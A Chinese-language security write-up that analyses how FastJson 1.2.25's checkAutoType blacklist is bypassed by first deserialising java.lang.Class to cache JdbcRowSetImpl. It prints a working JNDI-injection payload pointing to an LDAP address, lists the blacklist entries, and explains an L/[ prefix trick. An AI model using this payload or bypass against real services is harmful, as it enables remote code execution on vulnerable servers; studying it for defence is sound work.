FastJson反序列化3-1.2.25绕过

在1.2.25中，主要添加了config.checkAutoType(typeName, null)函数，所以从这里开始查看检查逻辑；

为了方便，先看POC；

    public void byPass1(){
        String s1="{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:5555/QxtsWChu\",\"autoCommit\":0}}";
        JSON.parse(s1);
    }

关于POC中为什么要先反序列化Class类在debug的过程中应该就明白了，另外一个类就是JNDI注入的POC，这里先解释为什么要传入一个val值：

此处的val值其实对应着恶意类名，在MisCodec(序列化和反序列化器)中本来应该叫做strVal,但是由于该类中deserialze()方法中的判断逻辑，所以只能叫做val；

因为基本上代码没有太多变化，仅仅加入了一个checkAutoType函数，而函数的返回值是一个Class，所以直接从这个函数开始分析；

下面是具体分析流程：

该类中typeName为需要反序列化的类，expectClass为期望类，期望类默认为空；

检查typeName是否为空，替换内部类；

如果开启了autoType或者expectClass不为空，并且expectClass在期望类集合中，则直接进行类加载，但是默认情况显然进不去；

如果该类在黑名单，则直接抛出异常，黑名单如下：

• "bsh"
• "com.mchange"
• "com.sun."
• "java.lang.Thread"
• "java.net.Socket"
• "java.rmi"
• "javax.xml"
• "org.apache.bcel"
• "org.apache.commons.beanutils"
• "org.apache.commons.collections.Transformer"
• "org.apache.commons.collections.functors"
• "org.apache.commons.collections4.comparators"
• "org.apache.commons.fileupload"
• "org.apache.myfaces.context.servlet"
• "org.apache.tomcat"
• "org.apache.wicket.util"
• "org.codehaus.groovy.runtime"
• "org.hibernate"
• "org.jboss"
• "org.mozilla.javascript"
• "org.python.core"
• "org.springframework"

如果以上情况都不满足，尝试从缓存表中得到类；

这里使用的类为java.lang.Class,所以找到了。所以直接返回了。

返回之后，会去根据类找到对应的反序列化器，还记得之前的POC吗，都是使用的JavaBeanDeserializer,废话不多说，继续跟。

这个反序列化器是从config(ParseConfig)中找的，这个类设置了很多常用类的反序列化器，我们在之前调试中就可以看到，Class类对应的反序列化器是MisCodec,跟进；

来到反序列化过程。我们一直跟进到下面的语句。

如果，我们传入的类为Class,则加载类，并且将strVal传过去，strVal是我们设置的恶意类名；继续跟进这个方法；

如果类名以[或者L开头，都会直接进行动态类加载（如果开启了autoType,可以在恶意类的前面加上L或者[，绕过黑名单进行类加载）；

如果classLoader不为空，会直接加载类；并且将该类名和类对象放入缓存表中；但是这里我们进不去，继续跟；

获取系统自带的类加载器，如果与当前类加载器不一致，尝试加载这个类，并且将这个类名和类对象放入缓存表中以便下次使用；

这个操作没太看明白是在干什么，但是会导致我们传入的恶意类被放入到了缓存表中，那么这个恶意类在下次到缓存表中查找的时候就会被找到，从而直接进行类加载。

!

可以看到确实如我们所想，第二次加载这个恶意类的时候，会直接从缓存表中得到然后进行类加载，下面写的关于autoType和黑名单的限制就被跳过了。